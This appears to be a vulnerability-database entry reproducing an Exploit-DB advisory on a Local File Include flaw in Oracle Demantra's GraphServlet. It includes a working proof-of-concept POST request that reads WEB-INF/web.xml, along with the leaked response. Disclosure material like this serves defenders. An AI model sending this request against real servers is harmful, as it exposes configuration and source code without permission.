Local File Include (LFI) Vulnerability

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HIGH

Local File Include (LFI)

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2013

Local File Include (LFI) Vulnerability

A file inclusion vulnerability occurs when a file from the target system is injected into a page on the attacked server page. Impact can differ based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks: Harvest useful information from the web.xml configuration file, Download the whole web application source code like the vulnerable page itself.

Mitigation:

Ensure that the web server user has limited read permissions and that the web application is not vulnerable to file inclusion attacks.

Source

Exploit-DB raw data:

Details:

The Team discovered a Local File Include (LFI) vulnerability. A file inclusion vulnerability occurs when a file from the target system is injected into a page on the attacked server page.

The vulnerable page is:
* /demantra/GraphServlet
Impact:

Impact can differ based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks:

- Harvest useful information from the web.xml configuration file.

- Download the whole web application source code like the vulnerable page itself.
Exploit:

Request:

POST /demantra/GraphServlet HTTP/1.1
Host: 192.168.14.171:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml

Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/png
Content-Length: 44378
Date: Fri, 02 Aug 2013 20:20:58 GMT

<?xml version="1.0" encoding="UTF-8"?>
 
   <web-app
    id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" 
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
	xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
  	http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">	

    


	<!-- Important Notice -->
	<!--
		The order of elements in the web.xml is significant for some
		Application Server parsers like WebSphere. The expected order is
		examplified in the comments of this file. Each element section has a
		Start comment(***) and an End comment. Please make sure to add new
		elements in the appropriate section of the file delimited by the
		relevant comment.
	-->

	<!-- ***Icons Start -->
	<!-- ***Icons End -->
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